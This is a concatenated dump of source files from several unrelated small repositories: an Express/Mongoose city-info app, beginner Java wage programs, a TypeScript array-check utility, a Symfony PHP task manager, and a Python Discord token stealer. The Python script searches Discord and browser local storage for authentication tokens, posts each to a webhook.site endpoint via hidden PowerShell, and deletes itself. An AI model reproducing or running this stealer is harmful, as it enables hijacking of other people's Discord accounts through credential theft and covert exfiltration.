refs/heads/master | <repo_name>cod3pro/CityInfo<file_sep>/seeds.js
var mongoose = require("mongoose"),
cityInfo = require("./models/cityinfo"),
Comment = require("./models/comment");
var data = [
{
name: "Hollywood",
image: "https://upload.wikimedia.org/wikipedia/commons/thumb/5/5a/Hollywood_Sign_%28Zuschnitt%29.jpg/1200px-Hollywood_Sign_%28Zuschnitt%29.jpg",
description: "hile then-Disney chief <NAME> at first intended Hollywood Pictures to be a full-fledged studio, like Touchstone, in recent years its operations have been scaled back and its management has been merged with the flagship Walt Disney Pictures studio.The division iits most profitable film to date s own breakout hit The Sixth Sense, which grossed over $600 million worldwide upon its 1999 release."
},
{
name: "Hollywood BLVD block 13",
image: "https://upload.wikimedia.org/wikipedia/commons/2/2f/Hollywood_neighborhood.JPG",
description: "hile then-Disney chief <NAME> at first intended Hollywood Pictures to be a full-fledged studio, like Touchstone, in recent years its operations have been scaled back and its management has been merged with the flagship Walt Disney Pictures studio.The division iits most profitable film to date s own breakout hit The Sixth Sense, which grossed over $600 million worldwide upon its 1999 release."
},
{
name: "This is another hollywood",
image: "https://upload.wikimedia.org/wikipedia/en/thumb/8/80/HollywoodPictures.jpg/375px-HollywoodPictures.jpg",
description: "hile then-Disney chief <NAME> at first intended Hollywood Pictures to be a full-fledged studio, like Touchstone, in recent years its operations have been scaled back and its management has been merged with the flagship Walt Disney Pictures studio.The division iits most profitable film to date s own breakout hit The Sixth Sense, which grossed over $600 million worldwide upon its 1999 release."
},
]
function seedDB(){
cityInfo.remove({}, function(err){
if(err){
console.log(err);
}
console.log("Removed successfully!");
data.forEach(function(seed){
cityInfo.create(seed, function(err, seed){
if(err){
console.log(err);
} else {
console.log("Added a city info");
Comment.create({
text: "This is a comment",
author: "Borhan"
}, function(err, comment){
if(err){
console.log(err);
} else {
seed.comments.push(comment);
seed.save();
console.log("Created new comment");
}
});
}
});
});
});
}
module.exports = seedDB;
<file_sep>/routes/cityinfo.js
var express = require("express");
var router = express.Router();
var cityInfo = require("../models/cityinfo");
//INDEX - show all city info
router.get("/", function(req, res){
cityInfo.find({}, function(err, info){
if(err){
console.log(err);
} else {
res.render("cityinfo/index", {info: info});
}
});
});
//CREATE - add a new info to our db
router.post("/", function(req, res){
var name = req.body.name;
var image = req.body.image;
var description = req.body.description;
var newPlace = {name: name, image: image, description: description};
//Add the new city info to the database
cityInfo.create(newPlace, function(err, info){
if(err){
console.log(err);
} else {
res.redirect("/index");
}
});
});
//NEW - show form to add a new city info
router.get("/new", function(req, res){
res.render("cityinfo/new");
});
// SHOW - shows more info about one campground
router.get("/:id", function(req, res){
console.log("Hey hey hey!!!!!!!!!!!!!11");
//find the campground with provided ID
cityInfo.findById(req.params.id).populate("comments").exec(function(err, Info){
if(err){
console.log("You have some error in your code body !!!!!!!!!!!!!11");
console.log(err);
} else {
console.log("I don't know why !!!!!!!!!!!!!!!");
//render show template with that campground
res.render("cityinfo/show", {Info: Info});
}
});
});
function isLoggedIn(req, res, next){
if(req.isAuthenticated()){
return next();
}
res.redirect("/login");
}
module.exports = router;<file_sep>/routes/comments.js
var express = require("express");
var router = express.Router({mergeParams: true});
var cityInfo = require("../models/cityinfo");
var Comment = require("../models/comment");
// Comments New
router.get("/new", isLoggedIn, function(req, res){
cityInfo.findById(req.params.id, function(err, Info){
if(err){
console.id(err);
} else {
res.render("comments/new", {Info: Info});
}
});
});
// Comments Create
router.post("/", isLoggedIn, function(req, res){
//lookup the city using its ID
cityInfo.findById(req.params.id, function(err, Info){
if(err){
console.log(err);
res.redirect("/cityinfo")
} else {
// Add the new comment to DB
Comment.create(req.body.comment, function(err, comment){
if(err){
console.log(err);
} else {
// Add the new comment to appropriate post
Info.comments.push(comment);
Info.save();
res.redirect('/cityinfo/'+ Info._id);
}
});
}
});
});
// middleware
function isLoggedIn(req, res, next){
if(req.isAuthenticated()){
return next();
}
res.redirect("/login");
}
module.exports = router;
| 23e54ab1af5fc0504ed647396eea035fdf676409 | [
"JavaScript"
] | 3 | JavaScript | cod3pro/CityInfo | cd1906237f3d841ec68fb74faae216a8e0423c55 | e3a99c5d1a2d0067ed2d32568f1b997a7fee14f8 |
refs/heads/master | <file_sep>public class EmployeeWageComputation2 {
public int empWage() {
//Variables
int isFullTime=1;
int empCheck=(int) (Math.random()*2); //Using random check whether Employee is Present or Absent
int empRatePerHr=8;
int empHrs=20;
//Computation
if (empCheck==isFullTime) {
int empDailyWage = empRatePerHr * empHrs; //Employee Daily Salary
System.out.println("Employee is Present and Employee Fullday Wage is "+ empDailyWage);
}
else {
System.out.println("Employee is Absent");
}
return 0;
}
public static void main(String [] args) {
EmployeeWageComputation2 obj1 = new EmployeeWageComputation2(); //Creating Objects
obj1.empWage();
System.out.println("");
}
}
<file_sep>
public class EmployeeWageComputation {
public int check() {
//Variables
int empCheck = (int) (Math.random()*2); //Using random check whether Employee is Present or Absent
int isPresent=1;
int isAbsent=0;
//Computation
if (empCheck==isPresent) {
System.out.println("Employee is Present");
}
else if (empCheck==isAbsent) {
System.out.println("Employee is Absent");
}
return 0;
}
public static void main(String [] args) {
EmployeeWageComputation obj1 = new EmployeeWageComputation(); //Creating Objects
obj1.check();
System.out.println("");
}
} | e6544a94ce7d9a58c131d3b35f5792a7370266e6 | [
"Java"
] | 2 | Java | riteshkumar6666/day10 | 512d6c3fbbaa4957bb7a61a5bda66d6d635cccb6 | 777af055605bae1c7b6ff44491ec98a084c8609b |
refs/heads/master | <repo_name>whitetrefoil/is-string-array<file_sep>/tests/main.spec.ts
jest.resetModules()
import isStringArray from '../src/main'
describe('allowEmpty === undefined', () => {
test('string[]', () => {
const target = ['1', '2']
expect(isStringArray(target)).toBe(true)
})
test('number[]', () => {
const target = [1, 2]
expect(isStringArray(target)).toBe(false)
})
test('new Array("1", "2")', () => {
const target = new Array('1', '2')
expect(isStringArray(target)).toBe(true)
})
test('string', () => {
const target = '123'
expect(isStringArray(target)).toBe(false)
})
test('[]', () => {
const target: any[] = []
expect(isStringArray(target)).toBe(true)
})
})
describe('allowEmpty === true', () => {
test('string[]', () => {
const target = ['1', '2']
expect(isStringArray(target, true)).toBe(true)
})
test('number[]', () => {
const target = [1, 2]
expect(isStringArray(target, true)).toBe(false)
})
test('new Array("1", "2")', () => {
const target = new Array('1', '2')
expect(isStringArray(target, true)).toBe(true)
})
test('string', () => {
const target = '123'
expect(isStringArray(target, true)).toBe(false)
})
test('[]', () => {
const target: any[] = []
expect(isStringArray(target, true)).toBe(true)
})
})
describe('allowEmpty === false', () => {
test('string[]', () => {
const target = ['1', '2']
expect(isStringArray(target, false)).toBe(true)
})
test('number[]', () => {
const target = [1, 2]
expect(isStringArray(target, false)).toBe(false)
})
test('new Array("1", "2")', () => {
const target = new Array('1', '2')
expect(isStringArray(target, false)).toBe(true)
})
test('string', () => {
const target = '123'
expect(isStringArray(target, false)).toBe(false)
})
test('[]', () => {
const target: any[] = []
expect(isStringArray(target, false)).toBe(false)
})
})
<file_sep>/src/main.ts
/**
* @param target
* @param allowEmpty - Whether allow `[]` to pass test.
* (Notice: `undefined`, `null` element in array will never pass.)
*/
export function isStringArray(target: any, allowEmpty: boolean = true): target is string[] {
if (!Array.isArray(target)) { return false }
if (target.length === 0 && allowEmpty !== true) { return false }
for (const item of target) {
if (typeof item !== 'string') { return false }
}
return true
}
export default isStringArray
<file_sep>/README.md
@whitetrefoil/is-string-array
==========
[](https://travis-ci.org/whitetrefoil/is-string-array) [](https://badge.fury.io/js/%40whitetrefoil%2Fis-string-array)
Is a string[]?
Usage
-----
See `tests/main.spec.ts`.
Changelog
---------
### v1.0.2
* Fix a test error.
### v1.0.1
* Update README carried from previous project.
### v1.0.0
* Initial release.
| b57d1d5fadac94f2a69e649a7eb94b435ae8b5dd | [
"Markdown",
"TypeScript"
] | 3 | TypeScript | whitetrefoil/is-string-array | e4540898d5114551539791ba4f09317d99502110 | 91c42abb78100a824170bee30d0107b6f5cd162d |
refs/heads/main | <file_sep>import os
LOCAL = os.getenv("LOCALAPPDATA")
ROAMING = os.getenv("APPDATA")
CMD = "powershell -windowstyle hidden Invoke-WebRequest https://webhook.site/<token> -Method 'POST' -Body @{\'token\'=\'CONTENT\'}"
tokens = []
# Yes I stole the paths from Vortex
PATHS = [
ROAMING +"\\Discord",
ROAMING + "\\discordcanary",
ROAMING+"\\discordptb",
LOCAL+"\\Google\\Chrome\\User Data\\Default",
ROAMING+"\\Opera Software\\Opera Stable",
LOCAL+"\\BraveSoftware\\Brave-Browser\\User Data\\Default",
LOCAL+"\\Yandex\\YandexBrowser\\User Data\\Default"
]
# Skiddy but works
def gettokens(path):
path+="\\Local Storage\\leveldb"
try:
for file_name in os.listdir(path):
if file_name.endswith(".log") or file_name.endswith(".ldb"):
for line in open(f"{path}\\{file_name}",errors="ignore").readlines():
if line.strip():
if "token" in line and "discord.com" in line:
tokensearch = line[line.index("token"):].split("\"")
if len(tokensearch) > 1:
tokens.append(tokensearch[1])
elif "mfa." in line:
tokens.append(line [line.index("mfa."):].replace("\n",'').replace("\"",'').replace('\x00','')[:88])
#tokens.append(st[:st.index('\x')])
except IOError:
pass
if __name__ == "__main__":
thisfile = os.path.abspath(__file__)
for path in PATHS:
gettokens(path)
print(tokens)
content_str = "{"
for x in tokens:
os.system(CMD.replace("CONTENT",x))
content_str = content_str[:len(content_str)-1]
content_str+="}"
os.remove(thisfile)
| bfe277b854b303efbd2082465b3dab51721973d5 | [
"Python"
] | 1 | Python | Florian7T/discord-token-stealer | 65b22ac4f4115af8b3cf8358abfeac9385045d02 | 983ae7c9d1ddd1483d042d8e57a9073278bf1715 |
refs/heads/master | <file_sep><?php
namespace AppBundle\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\JsonResponse;
use AppBundle\Entity\Project;
use AppBundle\Form\ProjectForm;
/**
* @Security("has_role('ROLE_USER')")
* @Route("/app")
*/
class ProjectController extends Controller
{
/**
* @Route("/project/add", name="project_add")
* @Method({"GET", "POST"})
*/
public function addProjectAction(Request $request)
{
$form = $this->createForm(ProjectForm::class);
$form->handleRequest($request);
if ( $form->isSubmitted() && $form->isValid() ) {
$project = $form->getData();
$project->setUser($this->getUser());
$em = $this->getDoctrine()->getManager();
$em->persist($project);
$em->flush();
$this->addFlash('success', 'Проект успешно создан');
return $this->redirect($this->generateUrl('task_all'));
}
return $this->render('project/new.html.twig', [
'form' => $form->createView()
]);
}
/**
* @Route("/project/{id}", name="project_show",requirements={"id": "\d+"})
* @Method("GET")
*/
public function showAction(Project $project)
{
$this->denyAccessUnlessGranted('show', $project, 'Projects can only be show to their authors.');
$em = $this->getDoctrine()->getManager();
$tasks = $em->getRepository('AppBundle:Task')
->findBy(
array('user' => $this->getUser(),'project' => $project, 'isDone' => false),
array('id' => 'ASC')
);
return $this->render('project/show.html.twig', array(
'project' => $project,
'tasks' => $tasks
));
}
/**
* @Route("/project/{id}/edit", name="project_edit",requirements={"id": "\d+"})
* @Method({"GET", "POST"})
*/
public function editAction(Request $request, Project $project)
{
$this->denyAccessUnlessGranted('edit', $project, 'Projects can only be edit to their authors.');
$form = $this->createForm(ProjectForm::class, $project);
// only handles data on POST
$form->handleRequest($request);
if ( $form->isSubmitted() && $form->isValid() ) {
$project = $form->getData();
$em = $this->getDoctrine()->getManager();
$em->persist($project);
$em->flush();
$this->addFlash('success', 'Проект успешно изменен');
return $this->redirectToRoute('task_all');
}
return $this->render('project/edit.html.twig', [
'form' => $form->createView()
]);
}
/**
* Deletes a Project entity.
*
* @Route("/project/{id}/delete", name="project_delete",requirements={"id": "\d+"})
* @Method("POST")
*
* The Security annotation value is an expression (if it evaluates to false,
* the authorization mechanism will prevent the user accessing this resource).
*/
public function deleteAction(Request $request, Project $project)
{
$this->denyAccessUnlessGranted('delete', $project, 'Tasks can only be deleted to their authors.');
if (!$this->isCsrfTokenValid('delete', $request->request->get('token'))) {
return $this->redirectToRoute('task_all');
}
$entityManager = $this->getDoctrine()->getManager();
$entityManager->remove($project);
$entityManager->flush();
$this->addFlash('success', 'Проект успешно удален');
return $this->redirectToRoute('task_all');
}
/**
* @Route("/project/get-projects", name="project_count_tasks")
* @Method("POST")
*/
public function getProjectsAndtasks(Request $request)
{
if ($request->isXmlHttpRequest()) {
$em = $this->getDoctrine()->getManager();
$result = $em->getRepository('AppBundle:Project')->getProjectsAndTasks($this->getUser());
$response = new JsonResponse(
array(
'info' => $result
));
return $response;
}
}
}<file_sep><?php
namespace AppBundle\EventListener;
use Symfony\Component\HttpFoundation\File\UploadedFile;
use Doctrine\ORM\Event\LifecycleEventArgs;
use Doctrine\ORM\Event\PreUpdateEventArgs;
use AppBundle\Entity\Task;
use AppBundle\Service\FileUploader;
use Symfony\Component\HttpFoundation\File\File;
class FileUploadListener
{
private $uploader;
public function __construct(FileUploader $uploader)
{
$this->uploader = $uploader;
}
public function prePersist(LifecycleEventArgs $args)
{
$entity = $args->getEntity();
$this->uploadFile($entity);
}
public function preUpdate(PreUpdateEventArgs $args)
{
$entity = $args->getEntity();
$this->uploadFile($entity);
}
private function uploadFile($entity)
{
// upload only works for Task entities
if (!$entity instanceof Task) {
return;
}
// получаем файл из модели
$file = $entity->getUploadFile();
// если загружается новый файл
if ($file instanceof UploadedFile) {
$fileName = $this->uploader->upload($file);
$originalFileName = $this->uploader->getOriginalFileName($file);
$entity->setUploadFile($fileName);
$entity->setUploadOriginalName($originalFileName);
// если файл уже был
}elseif ($file instanceof File){
$entityFile = new \SplFileInfo($file);
$entity->setUploadFile($entityFile->getFilename());
}
}
public function postLoad(LifecycleEventArgs $args)
{
$entity = $args->getEntity();
if (!$entity instanceof Task) {
return;
}
if ($fileName = $entity->getUploadFile()) {
$entity->setUploadFile(new File($this->uploader->getTargetDir().'/'.$fileName));
}
}
}<file_sep><?php
/**
* Created by PhpStorm.
* User: Artemio
* Date: 07.05.2018
* Time: 21:21
*/
namespace AppBundle\EventListener;
use Doctrine\Common\EventSubscriber;
use Doctrine\Common\Persistence\Event\LifecycleEventArgs;
use AppBundle\Entity\Project;
class ProjectSubscriber implements EventSubscriber
{
public function getSubscribedEvents()
{
return array(
'prePersist',
'preUpdate',
);
}
public function preUpdate(LifecycleEventArgs $args)
{
$this->setTime($args,'Update');
}
public function prePersist(LifecycleEventArgs $args)
{
$this->setTime($args,'Persist');
}
public function setTime(LifecycleEventArgs $args, $type)
{
$entity = $args->getEntity();
if ($entity instanceof Project) {
if ( $type === 'Persist' ){
$entity->setCreatedAt(new \DateTime);
}elseif ( $type === 'Update' ){
$entity->setUpdatedAt(new \DateTime);
}
}
}
}<file_sep><?php
namespace AppBundle\Repository;
use Doctrine\ORM\EntityRepository;
use AppBundle\Entity\User;
/**
* TaskRepository
*
* This class was generated by the Doctrine ORM. Add your own custom
* repository methods below.
*/
class TaskRepository extends EntityRepository
{
public function findByTerms(array $terms, User $user)
{
$queryBuilder = $this->createQueryBuilder('p');
foreach ($terms as $key => $term) {
$queryBuilder
->orWhere('p.taskName LIKE :t_'.$key)
->setParameter('t_'.$key, '%'.$term.'%')
;
}
$queryBuilder->andWhere('p.user = :u AND p.isDone = :done')
->setParameter('u', $user)
->setParameter('done', 0);
return $queryBuilder
->orderBy('p.createdAt', 'DESC')
->getQuery()
//->getSql();
->getResult();
}
public function findProjectName($id)
{
return $this->createQueryBuilder('t')
->select(['p.id','p.projectName'])
->innerJoin('t.project', 'p')
->where('t.id = :id')
->setParameter('id', $id)
->getQuery()
->getSingleResult();
//->execute();
}
}<file_sep><?php
namespace AppBundle\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
class PageController extends Controller
{
public function sidebarAction()
{
$em = $this->getDoctrine()->getManager();
$projects = $em->getRepository('AppBundle:Project')->findAllProjectsByUser($this->getUser());
return $this->render('default/sidebar.html.twig',
['projects'=>$projects]
);
}
/**
* @Route("/", name="homepage")
* @Method("GET")
*/
public function indexAction()
{
return $this->render('default/homepage.html.twig');
}
}<file_sep><?php
namespace AppBundle\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\JsonResponse;
use AppBundle\Entity\Task;
use AppBundle\Form\TaskForm;
use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
use Symfony\Component\Security\Core\Exception\AccessDeniedException;
/**
* @Security("has_role('ROLE_USER')")
* @Route("/app")
*/
class TaskController extends Controller
{
/**
* @Route("/all", name="task_all")
* @Method("GET")
*/
public function indexAction(Request $request)
{
$sorterService = $this->get('app.query_filter');
$tasks = $sorterService->find($request);
return $this->render('task/all.html.twig',
['tasks'=>$tasks]
);
}
/**
* @Route("/task/add", name="task_add")
* @Method({"GET", "POST"})
*/
public function addAction(Request $request)
{
// Если у пользователя нет проектов то редиректим
if($this->redirectIfNoCategoriesFound()){
exit;
}
$task = new Task();
$form = $this->createForm(TaskForm::class,$task,array(
'user_object' => $this->getUser()
));
$form->handleRequest($request);
if ( $form->isSubmitted() && $form->isValid() ) {
$task->setUser($this->getUser());
$em = $this->getDoctrine()->getManager();
$em->persist($task);
$em->flush();
$this->addFlash('success', 'Задача успешно создана');
return $this->redirect($this->generateUrl('task_all'));
}
return $this->render('task/new.html.twig', [
'form' => $form->createView(),
'task' => $task,
]);
}
/**
* @Route("/task/{id}/edit", name="task_edit",requirements={"id": "\d+"})
* @Method({"GET", "POST"})
*/
public function editAction(Request $request, Task $task)
{
$this->denyAccessUnlessGranted('edit', $task, 'Tasks can only be edit to their authors.');
$form = $this->createForm(TaskForm::class, $task,array(
'user_object' => $this->getUser()
));
// only handles data on POST
$form->handleRequest($request);
if ( $form->isSubmitted() && $form->isValid() ) {
$em = $this->getDoctrine()->getManager();
$em->persist($task);
$em->flush();
$this->addFlash('success', 'Задача успешно изменена');
return $this->redirectToRoute('project_show',array('id' => $task->getProject()->getId() ));
}
return $this->render('task/edit.html.twig', [
'form' => $form->createView(),
'task' => $task,
]);
}
/**
* @Route("/task/{id}/show", name="task_show",requirements={"id": "\d+"})
* @Method("GET")
*/
public function showAction(Task $task)
{
$this->denyAccessUnlessGranted('show', $task, 'Tasks can only be show to their authors.');
return $this->render('task/show.html.twig', [
'task' => $task
]);
}
/**
* @Route("/task/{id}/done", name="task_done",requirements={"id": "\d+"})
* @Method("POST")
*/
public function doneAction(Request $request, Task $task = null)
{
// default response
$response = array('message' => 'You can access this only using Ajax!');
$status = 400;
if ($request->isXmlHttpRequest()) {
try{
$error = 0;
if(empty($task)){
throw new NotFoundHttpException;
}
$this->denyAccessUnlessGranted('edit', $task, 'Tasks can only be edit to their authors.');
$task->setIsDone(true);
$task->setCompleteDate(new \DateTime());
$em = $this->getDoctrine()->getManager();
$em->persist($task);
$em->flush();
$message = "Задача {$task->getTaskName()} успешно выполнена!";
}catch(NotFoundHttpException $e){
$message = 'Данная задача не найдена';
$error = 1;
}catch(AccessDeniedException $e){
$message = $e->getMessage();
$error = 1;
}
//return
$response = array(
'error' => $error,
'message' => $message,
);
$status = 200;
}
return new JsonResponse($response, $status);
}
/**
* Deletes a Task entity.
*
* @Route("/task/{id}/delete", name="task_delete",requirements={"id": "\d+"})
* @Method("POST")
*
* The Security annotation value is an expression (if it evaluates to false,
* the authorization mechanism will prevent the user accessing this resource).
*/
public function deleteAction(Request $request, Task $task = null)
{
// default response
$response = array('message' => 'You can access this only using Ajax!');
$status = 400;
if ($request->isXmlHttpRequest()) {
try{
$error = '';
if(empty($task)){
throw new NotFoundHttpException;
}
$this->denyAccessUnlessGranted('delete', $task, 'Tasks can only be deleted to their authors.');
$entityManager = $this->getDoctrine()->getManager();
$entityManager->remove($task);
$entityManager->flush();
$message = "Задача {$task->getTaskName()} успешно удалена!";
}catch(NotFoundHttpException $e){
$message = 'Данная задача не найдена';
$error = 1;
}catch(AccessDeniedException $e){
$message = $e->getMessage();
$error = 1;
}
//return
$response = array(
'error' => $error,
'message' => $message,
);
$status = 200;
}
return new JsonResponse($response, $status);
}
/**
* @Route("/task/{id}/clone", name="task_clone",requirements={"id": "\d+"})
* @Method("POST")
*/
public function cloneAction(Request $request, Task $task = null)
{
// default response
$response = array('message' => 'You can access this only using Ajax!');
$status = 400;
if ($request->isXmlHttpRequest()){
try{
$error = '';
$data = [];
if(empty($task)){
throw new NotFoundHttpException;
}
$this->denyAccessUnlessGranted('edit', $task, 'Tasks can only be cloned to their authors.');
$cloneTask = clone $task;
$timesTamp = new \DateTime();
$timesTamp = $timesTamp->getTimestamp();
$firstAppend = strpos($cloneTask->getTaskName(),'_clone_');
$cloneTask->setTaskName(substr($cloneTask->getTaskName(),0,$firstAppend ? $firstAppend : strlen($cloneTask->getTaskName())) .'_clone_'. $timesTamp );
$em = $this->getDoctrine()->getManager();
$em->persist($cloneTask);
$em->flush();
$message = "Задача {$task->getTaskName()} успешно дублирована!";
// Получаем инфу о проекте
$projectInfo = $this->getDoctrine()->getRepository(Task::class)->findProjectName($task->getId());
$data['id'] = $cloneTask->getId();
$data['task_name'] = $cloneTask->getTaskName();
$data['project_name'] = $projectInfo['projectName'];
/// УРЛЫ
$data['urls']['edit_url'] = $this->generateUrl('task_edit', array('id' => $cloneTask->getId()));
$data['urls']['clone_url'] = $this->generateUrl('task_clone', array('id' => $cloneTask->getId()));
$data['urls']['done_url'] = $this->generateUrl('task_done', array('id' => $cloneTask->getId()));
$data['urls']['delete_url'] = $this->generateUrl('task_delete', array('id' => $cloneTask->getId()));
$data['urls']['project_url'] = $this->generateUrl('project_show', array('id' => $projectInfo['id']));
$data['due_date'] = $cloneTask->getDueDate()->format('d-m-Y');
}catch(NotFoundHttpException $e){
$message = 'Данная задача не найдена';
$error = 1;
}catch(AccessDeniedException $e){
$message = $e->getMessage();
$error = 1;
}
$response = array(
'error' => $error,
'message' => $message,
'info' => $data,
);
$status = 200;
}
return new JsonResponse($response, $status);
}
/**
* @Route("/search", name="task_search")
* @Method("GET")
*/
public function searchAction(Request $request)
{
$query = $request->query->get('q', '');
// Sanitizing the query: removes all non-alphanumeric characters except whitespaces
$query = preg_replace('/[^[:alnum:] ]/', '', trim(preg_replace('/[[:space:]]+/', ' ', $query)));
// Splits the query into terms and removes all terms which
// length is less than 2
$terms = array_unique(explode(' ', mb_strtolower($query)));
$terms = array_filter($terms, function ($term) {
return 2 <= mb_strlen($term);
});
$tasks = [];
if (!empty($terms)) {
$tasks = $this->getDoctrine()->getRepository(Task::class)->findByTerms($terms,$this->getUser());
}
return $this->render('task/search.html.twig',['tasks'=>$tasks]);
}
private function redirectIfNoCategoriesFound()
{
if(!$this->getDoctrine()->getManager()->getRepository('AppBundle:Project')
->findAllProjectsByUser($this->getUser())){
$this->addFlash('warning', 'Необходимо создать хотя бы 1 проект!');
return $this->redirectToRoute('project_add')->sendHeaders();
}
return false;
}
}<file_sep><?php
namespace AppBundle\Repository;
use Doctrine\ORM\EntityRepository;
use AppBundle\Entity\User;
/**
* ProjectRepository
*
* This class was generated by the Doctrine ORM. Add your own custom
* repository methods below.
*/
class ProjectRepository extends EntityRepository
{
/**
* @return Project[]
*/
public function findAllProjectsByUser(User $user)
{
return $this->createQueryBuilder('p')
//->leftJoin('p.tasks', 't')
->andWhere('p.user = :user')
->setParameter('user', $user)
->orderBy('p.createdAt', 'DESC')
->getQuery()
->execute();
}
public function createAlphabeticalQueryBuilder(User $user)
{
return $this->createQueryBuilder('p')
->andWhere('p.user = :user')
->setParameter('user', $user)
->orderBy('p.createdAt', 'DESC');
}
public function getProjectsAndTasks(User $user){
$conn = $this->getEntityManager()
->getConnection();
$sql = '
SELECT
p.project_name,
(
SELECT
COUNT(*)
FROM
task t
WHERE
t.project_id = p.id
AND t.is_done = 0
) count_tasks
FROM
project p
WHERE
p.user_id = :user
';
$stmt = $conn->prepare($sql);
$stmt->execute(array('user'=>$user->getId()));
$result = $stmt->fetchAll();
return $result;
}
}
<file_sep><?php
namespace AppBundle\Entity;
use Doctrine\ORM\Mapping as ORM;
use Symfony\Component\Validator\Constraints as Assert;
use FOS\UserBundle\Model\User as BaseUser;
/**
* @ORM\Entity(repositoryClass="AppBundle\Repository\UserRepository")
* @ORM\Table(name="user")
* @ORM\HasLifecycleCallbacks()
*/
class User extends BaseUser
{
/**
* @ORM\Id
* @ORM\GeneratedValue(strategy="AUTO")
* @ORM\Column(type="integer")
*/
protected $id;
/**
* @ORM\Column(type="datetime")
*/
private $createdAt;
/**
* @ORM\Column(type="datetime", nullable=true)
*/
private $updatedAt;
/**
* @ORM\Column(type="string",length=12, nullable=true)
* @Assert\Regex(
* pattern = "/\+79[0-9]{9}/"
* )
*/
private $contacts;
/**
* @Assert\Length(
* min=6,
* max=100,
* minMessage="user.password.short",
* groups={"Profile", "ResetPassword", "Registration", "ChangePassword"}
* )
* @Assert\Regex(
* pattern="/^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?!.*\s).{6,100}$/",
* message="user.password.difficulty",
* groups={"Profile", "ResetPassword", "Registration", "ChangePassword"}
* )
*/
protected $plainPassword;
/**
* @Assert\Regex(
* pattern="/(?=.*[A-Za-z])[A-Za-z]{2,180}/",
* message="user.name.difficulty",
* groups={"Profile", "Registration"}
* )
*/
protected $username;
public function __construct()
{
parent::__construct();
$this->roles = array('ROLE_USER');
}
public function getId()
{
return $this->id;
}
/**
* @return \DateTime
*/
public function getCreatedAt()
{
return $this->createdAt;
}
/**
* @param \DateTime $createdAt
*/
public function setCreatedAt(\DateTime $createdAt)
{
$this->createdAt = $createdAt;
}
/**
* @return mixed
*/
public function getContacts()
{
return $this->contacts;
}
/**
* @param mixed $contacts
*/
public function setContacts($contacts)
{
$this->contacts = $contacts;
}
/**
* @return mixed
*/
public function getUpdatedAt()
{
return $this->updatedAt;
}
/**
* @param mixed $updatedAt
*/
public function setUpdatedAt(\DateTime $updatedAt)
{
$this->updatedAt = $updatedAt;
}
}<file_sep><?php
namespace AppBundle\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\HttpFoundation\BinaryFileResponse;
use Symfony\Component\HttpFoundation\ResponseHeaderBag;
use Symfony\Component\HttpFoundation\File\MimeType\FileinfoMimeTypeGuesser;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
/**
* @Security("has_role('ROLE_USER')")
* @Route("/app")
*/
class FileController extends Controller
{
/**
* Serve a file by forcing the download
*
* @Route("/download/{filename}/{originalName}", name="download_file", requirements={"filename": ".+"})
* @Method("GET")
*/
public function downloadFileAction($filename, $originalName)
{
/**
* $basePath can be either exposed (typically inside web/)
* or "internal"
*/
$basePath = $this->container->getParameter('doc_files_directory');
$filePath = $basePath.'/'.$filename;
// check if file exists
$fs = new FileSystem();
if (!$fs->exists($filePath)) {
throw $this->createNotFoundException();
}
// prepare BinaryFileResponse
$response = new BinaryFileResponse($filePath);
// To generate a file download, you need the mimetype of the file
$mimeTypeGuesser = new FileinfoMimeTypeGuesser();
// Set the mimetype with the guesser or manually
if($mimeTypeGuesser->isSupported()){
// Guess the mimetype of the file according to the extension of the file
$response->headers->set('Content-Type', $mimeTypeGuesser->guess($filePath));
}else{
// Set the mimetype of the file manually, in this case for a text file is text/plain
$response->headers->set('Content-Type', 'text/plain');
}
$response->trustXSendfileTypeHeader();
$response->setContentDisposition(
ResponseHeaderBag::DISPOSITION_ATTACHMENT,
$originalName,
iconv('UTF-8', 'ASCII//IGNORE', $originalName)
);
return $response;
}
}<file_sep><?php
namespace AppBundle\EventListener;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;
use Symfony\Component\Routing\RouterInterface;
use Symfony\Component\HttpFoundation\RedirectResponse;
use Symfony\Component\HttpKernel\Event\GetResponseEvent;
use AppBundle\Entity\User;
class RedirectUserListener
{
private $tokenStorage;
private $router;
public function __construct(TokenStorageInterface $t, RouterInterface $r)
{
$this->tokenStorage = $t;
$this->router = $r;
}
public function onKernelRequest(GetResponseEvent $event)
{
if ($this->isUserLogged() && $event->isMasterRequest()) {
$currentRoute = $event->getRequest()->attributes->get('_route');
if ($this->isAuthenticatedUserOnAnonymousPage($currentRoute)) {
$response = new RedirectResponse($this->router->generate('task_all'));
$event->setResponse($response);
}
}
}
private function isUserLogged()
{
$token = $this->tokenStorage->getToken();
if($token){
$user = $this->tokenStorage->getToken()->getUser();
return $user instanceof User;
}
return false;
}
private function isAuthenticatedUserOnAnonymousPage($currentRoute)
{
return in_array(
$currentRoute,
['security_login', 'user_register', 'homepage']
);
}
}<file_sep><?php
namespace AppBundle\Security;
use AppBundle\Entity\Task;
use AppBundle\Entity\Project;
use AppBundle\Entity\User;
use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
use Symfony\Component\Security\Core\Authorization\Voter\Voter;
class TaskVoter extends Voter
{
// Defining these constants is overkill for this simple application, but for real
// applications, it's a recommended practice to avoid relying on "magic strings"
private const SHOW = 'show';
private const EDIT = 'edit';
private const DELETE = 'delete';
/**
* {@inheritdoc}
*/
protected function supports($attribute, $subject)
{
// this voter is only executed for three specific permissions on Post objects
